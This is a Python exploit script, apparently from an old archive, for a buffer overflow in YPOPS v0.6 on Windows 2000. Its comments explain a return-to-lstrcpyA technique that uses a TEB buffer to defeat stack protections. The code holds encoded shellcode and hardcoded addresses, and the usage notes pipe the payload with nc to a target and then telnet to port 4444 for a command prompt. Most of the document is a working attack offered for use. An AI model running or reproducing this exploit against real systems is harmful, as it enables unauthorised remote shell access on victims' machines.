home *** CD-ROM | disk | FTP | other *** search
- #!/usr/bin/env python
- """
- Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai
- Coded as a PoC for defeating NoN-Exec stacks and stack protections
- like overflow guard etc.
- This exploit utilizes the 520 byte buffer in the TEB (i.e is used for
- ANSI to Unicode String operations). The EIP is overwritten with the address
- of lstrcpyA accompanied by the return address, the source and destination buffer
- addresses.
- On successfull EIP overwrite the lstrcpyA copies the attacker supplied payload to
- the address in the TEB, following which the executions proceeds from there (since it
- is the return addr that we supplied). Came across this usefull concept in "The shell coders
- handbook". Can be used for 1) Bypassing stack protections.
- 2) When none of the regs (ecx,ebx, eax, esp etc)
- point to our payload.
-
- BUFFER LAYOUT
-
- |payload | addr of lstrcpyA | addr of buff in TEB | addr of buff in TEB | addr of our payload |
- ret addr for destination for Addr of our
- execution Payload Payload
-
-
- Tested on Win2K Adv Server with no patches and overflowguard. This is heavily dependent on the addresses which
- must be modified according to the versions.
- 0x77E87E39 --> Address of lstrcpyA from kernel32.dll
- 0x7ffDE1BC --> Address in TEB buffer to which payload will be copied and execution
- commences
- 0x00E6FAB8 --> Address of Payload on stack
-
- Shellcode from Sergio alvarez's paper on win32 exploitatiion (gr8 paper).
-
- Coded by Varun Uppal (varunuppal@linuxmail.org)
- greetz to JhaanGi, swatkat_razor, saTurn444 and metasploit crew. gr8 work
-
- USAGE:
-
- python pop_exp2.py | nc "addr of target host" "target port"
-
- Telnet "addr of target host" 4444 for cmd prompt
- """
-
- import struct
-
- exp = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
- exp += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
- exp += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
- exp += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
- exp += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
- exp += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
- exp += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
- exp += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
- exp += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
- exp += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
- exp += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
- exp += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
- exp += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
- exp += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
- exp += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
- exp += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
- exp += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
- exp += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
- exp += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
- exp += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
- exp += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
- exp += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
- exp += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
- exp += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
- exp += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
-
-
- print '\x90'*10+exp+'\x90'*96+ struct.pack('<L', 0x77e87e39)+struct.pack('<L', 0x7ffde1bc)+struct.pack('<L', 0x7ffde1bc)+'\xb8'+'\xfa'+'\xe6'+'\x00'
-
-